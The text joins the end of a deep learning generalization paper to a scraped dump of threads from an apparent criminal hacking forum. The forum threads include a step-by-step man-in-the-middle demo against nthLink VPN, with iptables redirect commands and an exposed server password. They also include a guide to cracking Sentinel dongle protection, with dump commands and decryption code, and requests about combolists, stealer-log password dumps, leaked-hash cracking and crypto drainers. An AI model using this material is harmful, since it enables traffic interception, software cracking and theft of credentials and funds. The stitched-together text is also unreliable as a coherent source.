In this work, we presented a simple experimental framework for interrogating purported measures of generalization. The experiments we conducted emphasize that the effective capacity of several successful neural network architectures is large enough to shatter the training data. Consequently, these models are in principle rich enough to memorize the training data. This situation poses a conceptual challenge to statistical learning theory as traditional measures of model complexity struggle to explain the generalization ability of large artificial neural networks. An important insight resulting from our experiments is that optimization continues to be empirically easy even if the resulting model does not generalize. What drives generalization therefore cannot be identical to what makes optimization of deep neural networks easy in practice, another important—yet, as we show, distinct—question.

The situation we find ourselves in bears semblance to where machine learning was in the 1960s. One of the first striking successes of machine learning dates back to Rosenblatt's 1958 discovery of the Perceptron algorithm. In modern language, the Perceptron learns a linear function from labeled examples. Cycling through the data one example at a time, whenever the Perceptron encounters an example where the sign of the linear function disagrees with the binary label, it nudges the coefficients of the linear function either toward or away from the example. Analysis from the 1960s provided generalization results for the Perceptron assuming that there was some solution out there that properly labeled all data we might ever see. An instance of the popular stochastic gradient method, the Perceptron, remains strikingly similar to modern machine learning practice. Indeed, the results on linear models in Section 5 are effectively a generalization of the 60-year-old results on the Perceptron.
The primary difference between now and then is one of scale and complexity. In place of a simple linear function, we find intricate models that stack several nonlinear transformations, so-called layers, on top of each other. Each layer has its own set of trainable parameters. Such concatenation adds complexity: we no longer get the beautiful convergence and generalization theorems of the Perceptron. The classic Perceptron theory explained why overparameterized linear models might generalize in some special cases, but these results do not provide an explanation of the power of nonlinear models.
6.1. A partial survey of recent progress
The original version of this paper44 motivated a tremendous amount of new work on generalization that we cannot fully survey here. However, we will attempt to summarize some general trends.
Regarding our observation that conventional generalization bounds based on uniform convergence or uniform stability are inadequate for overparameterized deep neural networks, extensive efforts were made toward tighter generalization bounds (e.g., Kawaguchi et al., Bartlett et al., Neyshabur et al., Golowich et al.,Liang et al.). In the PAC-Bayes setting, where the learning algorithm is allowed to output a distribution over parameters, new generalization bounds were also derived.

Aligned with our observation that overparameterized deep networks generalize even without any explicit regularization, and our analysis of implicit regularization in linear models, there is renewed interest in seeking to explain generalization in deep learning by characterizing the implicit regularization induced by the learning algorithms.
In-depth analysis on memorization of overparameterized models also extends our intuition on overfitting from the traditional U-shaped risk curve to the "double descent" risk curve. Specifically, in the overparameterized regime where the model capacity greatly exceeds the training set size, fitting all the training examples (i.e., interpolating the training set), including noisy ones, is not necessarily at odds with generalization.

Despite significant progress on theoretical understanding of deep learning in the past few years, a full mathematical characterization of the whole story remains challenging. Since the original version of this paper, much more work starts approaching the question of understanding deep learning using empirical studies, by designing systematic and principled experiments (e.g., Arpit et al.,3 Zhao et al., Morcos et al., Recht et al., Toneva et al.). The randomization test proposed in this paper serves as the backbone in the experimental design in many of those studies. Dedicated workshops on phenomena in deep learning are being organized in all major machine learning conferences nowadays. Even some theory conferences start to consider pure empirical studies that reveal "interesting and not well understood behavior"c in the call-for-papers. Thus, we are excited to see what happens in the next four years as well as excited to have highlighted some of the development over the past four years since we wrote the original manuscript.

[https://cacm.acm.org/magazines/2021/3/250713-understanding-deep-learning- still-requires-rethinking- generalization/fulltext#PageTop](https://cacm.acm.org/magazines/2021/3/250713-understanding- deep-learning-still-requires-rethinking-generalization/fulltext#PageTop)

anyone share the resources to learn cryptography? programming is required?
ID: 676536fbb4103b69df373860
Thread ID: 53849
Created: 2021-07-10T09:47:48+0000
Last Post: 2021-07-13T21:27:18+0000
Author: mosses
Replies: 1 Views: 989

i want to learn about encryption and how it is used in web applications for passwords and other data. As i'm just starting out, i want to know what resources like books, videos, articles to read. can anyone who is kind enough to put me in a right direction?
Also is programming required for cryptography? if yes, what languages are needed?
I know a bit of different ciphers like caeser,rot13. well i use online services, but i know how they works.

Electrum шифрование
ID: 676536fbb4103b69df3737e6
Thread ID: 76124
Created: 2022-11-18T12:56:10+0000
Last Post: 2022-11-19T08:19:17+0000
Author: Mandtory
Replies: 1 Views: 982

Здравствуйте, ищу как возможно реализовать расшифровку Electrum на Javascript, провел за попытками кучу времени, ни к какому результату не пришел, за помощь буду чрезмерно благодарен.

Sha256 Узнать соль
ID: 676536fbb4103b69df373862
Thread ID: 53195
Created: 2021-06-22T11:37:34+0000
Last Post: 2021-06-22T16:44:41+0000
Author: Astuay
Replies: 1 Views: 966

Суть такая. Есть пароль и хеш его, соль неизвестна так как спрятана в другом месте и вытащить ее оттуда нельзя, для всех паролей она статична. Есть ли какой-либо инструмент чтобы подобрать соль? С чем черт не шутит, может получится

Снимаем шифрование nthLink VPN
ID: 676536fbb4103b69df3737f9
Thread ID: 72319
Created: 2022-08-27T21:07:17+0000
Last Post: 2022-08-27T21:07:17+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 962

Автор оригинала: Vladislav Iarmak aka @YourChief

Заметка о nthLink VPN, его внутренностях и его катастрофическом провале в криптографии. Почему это может быть важно:

  • Некоторые люди могут полагаться на несуществующие гарантии безопасности, обещанные этим приложением. Этот продукт в особенности претендует на обход цензуры, очерчивая свой главный сценарий использования. В этом сценарии использования нарушение конфиденциальности угрожает привести пользователя к непреднамеренному раскрытию данных цензору, которые должны были быть спрятаны VPN-соединением.
  • Другие подобные приложения, использующие одни и те же инсталляции shadowsocks для множества разных пользователей, могут так же иметь эту проблему. Вообще этот протокол всё ещё подходит только для персонального применения, а не для публичных сервисов с множеством пользователей.

Также эта заметка может заинтересовать людей, которые хотели бы знать, как работают подобные приложения внутри.

О nthLink VPN​

Интересные факты о продукте.

Перевод
Важнее всего, оно [приложение] использует сильное шифрование, чтобы защитить поток информации между потребителем и источником.

Ещё заявления о безопасности:

Перевод
Не позволяет цензорам производить инспекцию содержимого/пакетов.

Дважды прошли аудит безопасности:

Перевод

Аудиты безопасности - два аудита безопасности проводились над nthLink в 2019 и 2020 годах компанией Cure53 - независимой организацией, специализирующейся в цифровой безопасности, которая проверяет ПО в соответствии с последними стандартами безопасности.
Выдержки из отчётов аудита:
"В этом заключении стоит заметить, что для этого проекта [аудита] использовалась модель довольно сильного атакующего."
"Проводившийся в октябре и ноябре 2020, этот проект [аудита] сосредотачивает внимание на приложении nthLink VPN для Android, iOS и, вдобавок, для Windows, и соответственно на их безопасности и отношение к конфиденциальности конечных пользователей."
"Cure53 завершили верификацию исправлений, последовавших за пентестом и аудитом исходного кода в конце ноября 2020. Команда Cure53 смогла проверить все исправления, которые были представлены командой nthLink. Это значит, что все относящиеся к делу и попадающие в рамки находки, обнаруженные Cure53 в пентесте и аудите исходного кода NTH-02, теперь успешно исправлены, и исправления успешно устраняют найденные уязвимости."
Вы можете запросить отчёты аудита, как и модели угроз, связавшись с командой поддержки nthLink.

Click to expand...

Интересно, что отчёт об аудите не сделан публичным, а обещан быть предоставлен по запросу. В чём проблема опубликовать его? В любом случае, в свете представленных здесь находок, можно смело предполагать, что аудит Cure53 либо бесполезен, либо его темой была инфраструктура/вебсайт, а не само приложение.

Приложение заявлено как имеющее открытый исходный код, покуда ваше письмо с запросом исходного кода не угодит в папку для спама:

Перевод
Пожалуйста, свяжитесь с командой поддержки nthLink, чтобы запросить доступ к исходному коду nthLink.

[Получили довольно скромное финансирование из некоего Фонда Открытых Технологий (Open Technology Fund).](http://web.archive.org/web/20220620234755/https://www.opentech.fund/results/supported- projects/nthlink/)

Внутренности приложения​

Приложение делает вид, что работает как VPN для всей системы, но на самом деле это просто прокси-клиент shadowsocks. Оно использует badvpn tun2socks (или похожую программу), чтобы перенаправлять все TCP- и UDP-сессии в соединение shadowsocks, которое технически не является VPN.

Несмотря на то, что исходный код не опубликован и не легкодоступен, было тривиально извлечь его из приложения для Windows на электроне. JS-код может быть распакован просто командой npx asar extract. [Здесь](https://github.com/jonmest/How-To-Tamper-With-Any-Electron- Application) есть полное руководство по этой теме.

Анализ исходного кода показал, что алгоритм получения реквизитов для подключения грубо можно описать следующим образом:

  1. Вычислить текущий домен API на основании некоего зерна домена, заданного конфигурацией домена верхнего уровня и текущей даты.
  2. Если этот домен недоступен, то откатиться к заданному жёстко домену на AWS S3.
  3. Сделать запрос на получение тела конфигурации.
  4. Тело конфигурации содержит подпись (RSA-SHA256 PKCSv15). Проверить её.
  5. Расшифровать окончательный JSON с реквизитами подключения, зашифрованными с помощью AES256-CTR. Статический ключ шифрования захардкожен. Также эта конфигурационная полезная нагрузка содержит самые актуальные настройки для вычисления домена API: зерно домена и домен верхнего уровня.

Я сделал альтернативный клиент API, который выполняет эти шаги и позволяет получить обычные реквизиты для подключения к серверу shadowsocks, которые подходят к любому ванильному (обычному) клиенту shadowsocks.

Но вот какая проблема. Все криптографические ключи в shadowsocks получаются из общего пароля, который одинаково задан на клиенте и сервере. Следовательно, если все клиенты знают симметричный общий ключ (SPSK), они могут использовать его для атаки "человек посередине" на других клиентов того же сервера. Это катастрофический провал в криптографии, который уничтожает безопасность протокола.

Демо? Демо!​

Продемонстрируем, что кто угодно может видеть и вмешиваться в трафик, защищённый приложением nthLink.

Установка приложения и подключение​

Последнее приложение nthLink - это приложение nthLink для Android версии 5.1.0, выпущенное 1 апреля 2021.
Установлено и подключено:

Подключение проверено. IP-адрес сменился на IP-адрес сервера nthLink:

Мошеннический сервер shadowsocks​

IP-адресом жертвы в сети является 192.168.1.65. Нам нужно перенаправить для него трафик к shadowsocks-серверам nthLink на наш поддельный shadowsocks- сервер.

На линуксовом шлюзе (роутере) соберём список http-подобных соединений от устройства-жертвы:

Code:Copy to clipboard

fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED

И с другой стороны будем запускать [nth-dump](https://github.com/Snawoot/nth- dump#nth-dump), пока не появится адрес из собранного списка соединений.

Code:Copy to clipboard

Name: nthLink Server
Host:        68.183.72.121
Port:        443
Method:        chacha20-ietf-poly1305
Password:    2djK1R9egUBi
URL: ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@68.183.72.121:443#nthLink%20Server

Теперь мы смогли соотнести соединения с сервером nthLink и реквизитами для подключения к нему. Запустим наш мошеннический сервер shadowsocks. Для этой цели я использую сервер [go-shadowsocks2](https://github.com/shadowsocks/go- shadowsocks2/):

Code:Copy to clipboard

./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose

Наконец, перенаправим трафик жертвы на наш мошеннический сервер shadowsocks:

Code:Copy to clipboard

iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443
iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443

Перехват трафика достигнут​

Смотрим в логи go-shadowsocks2:

Code:Copy to clipboard

2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 <-> 108.177.119.94:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 <-> 142.250.203.142:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 <-> 172.217.18.3:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 <-> 142.250.185.109:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 <-> 142.250.184.228:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 <-> 142.250.185.67:443
2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 <-> 34.160.111.145:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 <-> 8.8.4.4:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 <-> 8.8.8.8:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 <-> 8.8.8.8:443
2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 <-> 172.217.20.202:443
2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 <-> 149.154.167.50:443
2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer
2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 <-> 44.192.201.202:443
2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 <-> 216.58.215.99:443
2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 <-> 149.154.167.50:443
2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 <-> 149.154.167.50:443
2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 <-> 149.154.167.50:443

Как видно, соединения успешно перенаправляются и наш сервер shadowsocks понимает и выполняет запросы.

Подтвердим перенаправление обратно на мой домашний IP-адрес, даже с включённым VPN:

Мы могли бы снова направить трафик на серверы nthLink после инспекции, чтобы всё выглядело как обычно, но для целей демо нам наоборот нужно сделать это более явно, а не скрытно.

Наконец, снимем трафик с помощью tcpdump -i any -nvvs0 'dst port 443' -w hs.cap, чтобы показать, что мы видим трафик так же, как без VPN вовсе. Перехваченное рукопожатие TLS в анализаторе PCAP-дампов пакетов Wireshark:

Hashcat не работает
ID: 676536fbb4103b69df37386b
Thread ID: 51471
Created: 2021-05-06T15:21:56+0000
Last Post: 2021-05-06T21:35:37+0000
Author: YoungHustler
Replies: 4 Views: 959

Хотел поставить на сервер hashcat. Запустил, выдало ошибку, т.к не установлен OpenCL. Установил, но прога перестала работать. Даже -I не отвечает, работает только -h, при остальных командах работа hascat прекращается. Может ктото сталкивался?

Как вскрывают приложения, защищенные аппаратным ключом Sentinel
ID: 676536fbb4103b69df3737a0
Thread ID: 90184
Created: 2023-06-10T20:50:16+0000
Last Post: 2023-06-10T20:50:16+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 939

Реверс‑инжиниринг написанных на Java приложений, если разработчики не позаботились заранее об их защите, обычно не представляет трудностей. Именно чтобы усложнить жизнь хакерам и исследователям, используются различные инструменты, один из которых — защита с аппаратным ключом Sentinel. Сегодня мы рассмотрим способ обхода такой защиты.

Тем, кто читал мои предыдущие статьи, посвященные защите приложений на Java, известно самое слабое место такой защиты: прозрачность байт‑кода и невыносимая легкость восстановления его до исходников.

Поэтому разработчики таких инструментов стремятся как можно хитрее спрятать код от любопытных глаз хакеров, используя различные приемы: обфускацию, компиляцию в натив, шифрование. Наглядный пример последнего мы начали разбирать в статье «Беззащитная Java. Ломаем Java bytecode encryption». Тогда мы остановились на инлайн‑патчинге расшифрованного байт‑кода прямо из библиотеки агента JVMTI. Сегодня мы продолжим эту тему и научимся патчить непосредственно шифрованный код.

В качестве примера мы возьмем приложение, защищенное Sentinel Licensing API Java Class Library — специальной библиотекой защиты Java-классов, поставляемой к ключам типа Hasp. Почитать о том, как устроена эта библиотека, можно на [сайте разработчика](https://docs.sentinel.thalesgroup.com/ldk/LDKdocs/API- licensing-java). Само приложение защищено ключом Hasp, в его рабочем каталоге присутствуют характерные для Sentinel файлы hasp_rt.exe, hasp_windows_x64_34344.dll, haspvlib_34344.dll и специфические для Java HASPJava.dll, HASPJava_x64.dll, sntljavaclsrt.dll, sntljavaclsrt_x64.dll. Detect It Easy предсказуемо указывает на NetHASP dongle reference и Hardlock dongle reference.


Мы по опыту знаем, что ломать эти библиотеки «в лоб» лучше даже не пытаться, они весьма сурово виртуализованы и защищены от отладки и модификации. Поэтому смотрим на компилированные классы, содержащиеся внутри JAR. Там тоже все мрачно: кроме главного класса, все остальные пошифрованы с высокой энтропией, примерно как описано в статье «Беззащитная Java. Ломаем Java bytecode encryption». За исключением того, что криптор подключается не как JavaAgent при запуске приложения, а из главного класса, по сути представляющего собой загрузчик приложения c единственно открытым кодом:

Code:Copy to clipboard

public static void main(String[] stringArray) {
try {
  String string;
  String string2 = System.getProperty("java.class.path");
  int n = Math.max(string2.lastIndexOf("\"), string2.lastIndexOf("/"));
  String string3 = string = string2.substring(0, ++n);
  if (JavaClsEntry.isWindows()) {
   string3 = string3 + "sntljavaclsrt";
   if (0 == System.getProperty("sun.arch.data.model").compareTo("64")) {
     string3 = string3 + "_x64";
   }
     string3 = string3 + ".dll";
  } else if (JavaClsEntry.isLinux()) {
     string3 = string3 + "libsntljavaclsrt_x86_64.so";
  } else {
     return;
  }
  File file = new File(string3);
  string3 = file.getAbsolutePath();
  System.load(string3);
  Class<?> clazz = Class.forName("com.MainApp");
  Method method = clazz.getMethod("main", String[].class);
  method.invoke(null, new Object[]{stringArray});
}
catch (Exception exception) {
  exception.printStackTrace();
}

Загрузчик ничего не делает, кроме как загружает сентинеловскую нативную библиотеку защиты, а затем главный класс программы. Если ключ не в порядке, то главный класс попросту не расшифровывается и приложение рушится по неправильному формату байт‑кода класса. Собственно, даже такую ошибку можно получить только после того, как библиотека выдаст окошко отсутствия ключа.

Как же нам теперь быть? Ведь, поскольку здесь не происходит прямая подмена JIT-компилятора через JavaAgent, предложенный в упомянутой выше статье способ не годится. Попробуем подключиться отладчиком непосредственно к JIT- компилятору. Немного покурив документацию, обнаруживаем в библиотеке JVM.DLL такую функцию:

Code:Copy to clipboard

JVM_DefineClassWithSource(JNIEnv *env, const char *name, jobject loader, const jbyte *buf, jsize len, jobject pd, const char *source)

Как видно из описания, эта функция компилирует класс из массива байт‑кода. Длина массива, название класса и даже исходного Java-модуля прилагается. При наличии ключа, установив в нашем любимом отладчике x64dbg точку останова на вход этой функции, мы получаем в регистре R9 расшифрованный класс, начиная с сигнатуры CAFEBABE, и его длину в регистре R14. В итоге его можно легко сдампить на диск следующей командой:

Code:Copy to clipboard

savedata MainApp.class, R9, R14

В некоторых, наиболее простых случаях, когда зашифрован только главный класс, этого вполне достаточно, чтобы снять защиту целиком, — просто запаковываем расшифрованный главный класс вместо старого и переопределяем его в манифесте. Если зашифрованных классов немного, то их тоже можно сдампить по очереди и бороться с привязкой к ключу уже в расшифрованных классах. Обычно подобная защита предполагает наличие в модуле уже Java-классов Aladdin/Hasp.class, Aladdin/HaspApiVersion.class, Aladdin/HaspStatus.class и Aladdin/HaspTime.class. Однако зашифрованных классов может быть очень много, так что дампить их вручную по очереди непродуктивно.

Можно, конечно, автоматизировать процесс при помощи костылей — сделать загрузчик, который подключается к запущенному процессу и сохраняет классы из памяти по очереди, но это слишком извращенное решение даже для меня. К тому же мы хоть и ленивые, но достаточно любопытные и нам интересно докопаться до сути. Для начала — понять, как именно происходит расшифровка криптованных классов.

На первый взгляд, задача выглядит жутковато — как я уже говорил, сентинеловские библиотеки по‑взрослому покриптованы и виртуализированы, вдобавок сражаются с отладчиком при попытке их трассировки. Но мы все‑таки попробуем отловить момент расшифровки. Для начала просто прервемся в отладчике, когда появляется сообщение об отсутствии ключа. По стеку вызовов мы с удивлением обнаруживаем, что уши проверки ключа в сентинеловской библиотеке sntljavaclsrt_x64 торчат из кернеловской функции чтения файла ReadFile, а еще точнее — из ее низкоуровневого вызова NtReadFile.


В библиотеке sntljavaclsrt_x64 есть даже соответствующая экспортируемая функция, подменяющая системную. Проверить это достаточно просто: установив точку останова на вызов ReadFile из java.dll (выделено на стеке вызовов на скриншоте), мы обнаруживаем, что ReadFile считывает уже вполне себе расшифрованные блоки байт‑кода порциями по 0x400 байт.

Таким образом, мы узнали механизм встраивания сентинеловской защиты в JIT- компилятор Java. Однако на этот раз нам хотелось бы пойти дальше, чем в предыдущей статье, и выяснить алгоритм шифрования байт‑кода. Для этого мы сначала ставим точку останова на вызов ReadFile из java.dll.

Чтобы отфильтровать все побочные чтения из других файлов, установим фильтр на чтение блоков только размером в 0x400 байт. Для этого в условии остановки прописываем r8==0x400. По остановке в этой точке адрес буфера чтения будет находиться в регистре RDX — ставим точку останова на первый байт этого буфера. Выполнение останавливается, когда в буфер записываются зашифрованные данные. Чтение байта из этого буфера тормозится в очень интересном месте — мы видим обфусцированный код sntljavaclsrt_x64:

Code:Copy to clipboard

00007FFC46EB31F5 | movzx ecx,byte ptr ds:[r12+rax]
00007FFC46EB31FA | mov edx,edi
00007FFC46EB31FC | shr edx,18
00007FFC46EB31FF | add edx,ecx
00007FFC46EB3201 | movzx ecx,dl
00007FFC46EB3204 | movzx r11d,byte ptr ds:[r13+rcx]
00007FFC46EB320A | lea rcx,qword ptr ds:[7FFC46EB1A46]
00007FFC46EB3211 | mov edx,ecx
00007FFC46EB3213 | and edx,ebp
00007FFC46EB3215 | xor rcx,rbp
00007FFC46EB3218 | lea rcx,qword ptr ds:[rcx+rdx*2]
00007FFC46EB321C | jmp rcx

В регистре R12 — указатель на зашифрованный буфер, в регистре RDI — смещение в нем, в регистре R13 — указатель на некую таблицу перекодировки. Результат этого фрагмента кода хранится в регистре R11. 7FFC46EB1A46 — слегка закодированный адрес следующей инструкции. Немного попрыгав по обфусцированному коду, находим следующий фрагмент:

Code:Copy to clipboard

00007FFC46EB32DF | mov ecx,edi
00007FFC46EB32E1 | shr ecx,10
00007FFC46EB32E4 | add ecx,r11d
00007FFC46EB32E7 | movzx ecx,cl
00007FFC46EB32EA | movzx ecx,byte ptr ds:[r13+rcx+100]
00007FFC46EB32F3 | mov edx,edi
00007FFC46EB32F5 | shr edx,8
00007FFC46EB32F8 | add edx,ecx
00007FFC46EB32FA | movzx ecx,dl
00007FFC46EB32FD | movzx edx,byte ptr ds:[r13+rcx+200]
00007FFC46EB3306 | lea rcx,qword ptr ds:[7FFC46EB1A22]
00007FFC46EB330D | mov ebx,ecx
00007FFC46EB330F | and ebx,ebp
00007FFC46EB3311 | xor rcx,rbp
00007FFC46EB3314 | lea rcx,qword ptr ds:[rcx+rbx*2]
00007FFC46EB3318 | jmp rcx

Тут на выходе результат уже в RDX. И наконец, финальный фрагмент, который представляет собой конец цикла по всем байтам (длина в R9) и условный переход на начало:

Code:Copy to clipboard

00007FFC46EB3273 | movzx ecx,dl
00007FFC46EB3276 | add ecx,edi
00007FFC46EB3278 | movzx ecx,cl
00007FFC46EB327B | movzx ecx,byte ptr ds:[r13+rcx+300]
00007FFC46EB3284 | mov byte ptr ds:[r12+rax],cl
00007FFC46EB3288 | add edi,1
00007FFC46EB328B | add rax,1
00007FFC46EB328F | mov ecx,r8d
00007FFC46EB3292 | and ecx,ebp
00007FFC46EB3294 | lea rdx,qword ptr ds:[7FFC46EB1A92]
00007FFC46EB329B | mov ebx,edx
00007FFC46EB329D | and ebx,ebp
00007FFC46EB329F | xor rdx,rbp
00007FFC46EB32A2 | cmp rax,r9
00007FFC46EB32A5 | lea rcx,qword ptr ds:[r10+rcx*2]
00007FFC46EB32A9 | lea rdx,qword ptr ds:[rdx+rbx*2]
00007FFC46EB32AD | cmove rdx,rcx
00007FFC46EB32B1 | jmp rdx

Как видно, несмотря на всю навороченность защиты, алгоритм расшифровки простой как две копейки. Он представляет собой четыре табличных преобразования. В переводе на понятный язык программирования он выглядит примерно так (array — раскодируемый фрагмент, table — таблица):

Code:Copy to clipboard

for (int i=0;i<array.Length;i++)
{
  byte r11 = table[(byte)(array[i] + (i >> 0x18))];
  byte ecx = table[(byte)(r11 + (i >> 0x10))+0x100];
  byte edx = table[(byte)(ecx + (i >> 0x8)) + 0x200];
  array[i] = table[(byte)(edx + i)+0x300];
}

Таблица перекодировки размером 0x400 байт, указатель на которую находится в регистре R13, прекрасно дампится на диск из отладчика при помощи следующей консольной команды:

Code:Copy to clipboard

savedata table.bin, R13, 0x400

После этого можно писать простенький пакетный раскодировщик для любого количества классов.

В заключение рассмотрим совсем уж экзотический случай. Предположим, у нас есть защищенное подобным протектором приложение и по неким причинам не нужно его полностью отвязывать от ключа, а надо просто немного расширить его функции: продлить триал, повысить редакцию, добавить опций. А требуемые возможности, как назло, находятся именно в защищенном классе. В прошлый раз мы выкрутились из такой неприятной ситуации, на лету поправляя расшифрованный байт‑код непосредственно в библиотеке защиты. В нынешнем случае мы имеем гораздо больше пространства для маневра — алгоритм шифрования простой, симметричный и реверсируемый. Грубо говоря, обратный алгоритм шифрования выглядит примерно так:

Code:Copy to clipboard

for (int i=0;i<array.Length;i++)
{
  byte a=byte(indexOf(&table[0x300],array[i])-i);
  byte b=byte(indexOf(&table[0x200],a)-(i >> 0x8));
  byte c=byte(indexOf(&table[0x100],b)-(i >> 0x10));
  array[i]=byte(indexOf(&table,c)-(i >> 0x18));
}

Это означает, что теперь нам не нужно извращаться, конструируя инлайн‑патч. Имея валидный ключ, мы можем расшифровать нужный класс, поправить его, например при помощи dirtyJoe (как — я описал в статье «Грязный Джо. Взламываем Java-приложения с помощью dirtyJOE»), затем снова закодировать файл и перепаковать его в JAR-архив.

Автор МВК
Источник xakep.ru

combolist after dehashed
ID: 676536fbb4103b69df3738a0
Thread ID: 41644
Created: 2020-09-01T19:22:28+0000
Last Post: 2020-09-02T22:17:19+0000
Author: ettone
Prefix: Мануал/Книга
Replies: 3 Views: 927

What is the best way to replace the email: hash to email: password after you have broken the hashes
taking into account who not all hashes will be resolved and during the process the order will be lost, making the manual process is unviable when you have millions of lines

Есть ли кривые более эффективные для ончейн верификации, чем alt-bn128?
ID: 676536fbb4103b69df3737c1
Thread ID: 85155
Created: 2023-04-03T19:24:13+0000
Last Post: 2023-04-03T19:24:13+0000
Author: EminenceGrise
Replies: 0 Views: 925

Есть ли кривые более эффективные для ончейн верификации, чем alt-bn128? Которые используют наименьшее количество газа. Чтобы как можно меньше спариваний было в процессе пруфа.

ХакВест от innocoffee.ru
ID: 676536fbb4103b69df37387c
Thread ID: 48614
Created: 2021-02-25T11:11:37+0000
Last Post: 2021-02-25T11:11:37+0000
Author: innocoffee
Replies: 0 Views: 920

Квест сделан исключительно в целях развлечения, и ни в коем случае не для заработка. Получайте удовольствие, разгадывайте загадки. Чтобы начать тест, перейди по ссылке:

Spoiler

1100001 1001000 1010010 110000 1100011 1001000 1001101 110110 1001100 1111001 111001 1110000 1100010 1101101 110101 1110110 1011001 110010 111001 1101101 1011010 1101101 1010110 1101100 1001100 1101110 1001010 110001 1001100 110011 1001110 110000 1011001 1011000 1001010 110000 1011000 110011 1000110 110001 1011010 1011000 1001110 110000 1001100 1101101 1101000 110000 1100010 1010111 1110111 111101

Click to expand...

Да поможет вам Хэппи.
1614251483413.png

ТС может потребовать предоставить описание вашего решения (зашел сюда-то, сделал то-то), в целях предотвращения сливов.

Уровень: продолжающий (не очень просто, но и не тяжело)
Зная базовые принципы CTF можно решить за полчаса-час.
;)

Ключ от сервиса innocoffee.ru, либо 100 рубликов первым 3 победителям [0/3]

Крылом
ID: 676536fbb4103b69df3737b1
Thread ID: 87715
Created: 2023-05-11T07:03:12+0000
Last Post: 2023-05-11T07:03:12+0000
Author: скрытый
Replies: 0 Views: 918

Привет Есть ли какой-нибудь пошаговый метод или руководство от начала работы над крипто-осушителем...

Hello
Is there any step by step method or guide on how crypto drainers work...from buying a correct drainer to how to spread?

Знатокам технической стороны CodeSign сертов
ID: 676536fbb4103b69df3737bb
Thread ID: 85922
Created: 2023-04-14T15:45:00+0000
Last Post: 2023-04-14T15:45:00+0000
Author: kosok11
Replies: 0 Views: 914

You must have at least 200 reaction(s) to view the content.

Базы паролей с логов
ID: 676536fbb4103b69df37383e
Thread ID: 58915
Created: 2021-11-15T17:08:34+0000
Last Post: 2021-11-25T09:57:48+0000
Author: Randy
Replies: 9 Views: 912

Предлагаю в этой теме выкладывать пароли сделаные именно с баз логов - под брут. Опыт подсказывает, что такие базы поэффективнее баз с тех же утечек.
Первый пошел

Adobe encryption mechanism
ID: 676536fbb4103b69df37386f
Thread ID: 51137
Created: 2021-04-27T15:21:27+0000
Last Post: 2021-04-27T15:21:27+0000
Author: gibbon
Replies: 0 Views: 907

I checked the Adobe leak.

https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/38232/

I read that Triple DES encryption was used.
My first try was to search a db with plaintext passwords unsuccessfully.
Now I search a solution to generate hashes to compare the available hashes.

Is there any website available like https://crackstation.net/ or https://gchq.github.io/CyberChef/ where a password can be encrypted in Adobe Triple DES?

If CyberChef is a good solution, where can I find the Adobe Key and IV for Triple DES ECB to generate the hashes?
Is a Adobe2John for John the Ripper or Hashcat available?

telegram hash crack services
ID: 676536fbb4103b69df373793
Thread ID: 90650
Created: 2023-06-16T08:37:15+0000
Last Post: 2023-07-13T13:37:44+0000
Author: redeyex
Replies: 4 Views: 906

существуют ли телеграм-боты для расшифровки хэшей, в том числе варианты массовой загрузки (batch).. подскажите плиз, устроят и платный.. если не хотите сильно палить, напишите в ЛС тогда...

Hashtopolis (Проблема с Сервером)
ID: 676536fbb4103b69df373749
Thread ID: 121078
Created: 2024-08-20T00:52:13+0000
Last Post: 2024-08-21T01:57:50+0000
Author: WANNAKILL
Replies: 3 Views: 905

Поставил на ubuntu hashtopolis сервер через докер. В .env ip сервера. Но почему-то работает только локально.

В конце запуска выдает такое сообщение:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.3. Set the 'ServerName' directive globally to suppress this message

Но поставить ServerName не получается тк запуск апачи происходит через докер.

Hacking Multifactor Authentication 2021
ID: 676536fbb4103b69df373811
Thread ID: 67391
Created: 2022-05-20T11:30:04+0000
Last Post: 2022-05-21T18:28:10+0000
Author: 0x5h3ll
Prefix: Мануал/Книга
Replies: 3 Views: 903

Hacking Multifactor Authentication
1653046029600.png

What Is Covered in This Book?

Hacking Multifactor Authentication contains 25 chapters separated into three parts:

Part I: Introduction Part I discusses authentication basics and the problems that MFA is trying to solve. It includes the background facts you’ll need to know to understand why MFA is a favored authentication solution and how it is hacked.

Chapter 1: Logon Problems Chapter 1 covers the central problems that MFA is trying to solve. MFA didn’t come out of the blue. Password and single-factor solutions failed so often that better and improved authentication solutions were invented. Learn about the prob- lems MFA is trying to solve.

Chapter 2: Authentication Basics Authentication isn’t one process—it’s a series of connected processes with a multitude of different components. Any of the steps and components can be hacked. To understand how MFA can be hacked, you first have to understand how authentication works with or without MFA involved. Chapter 2 provides that foundation.

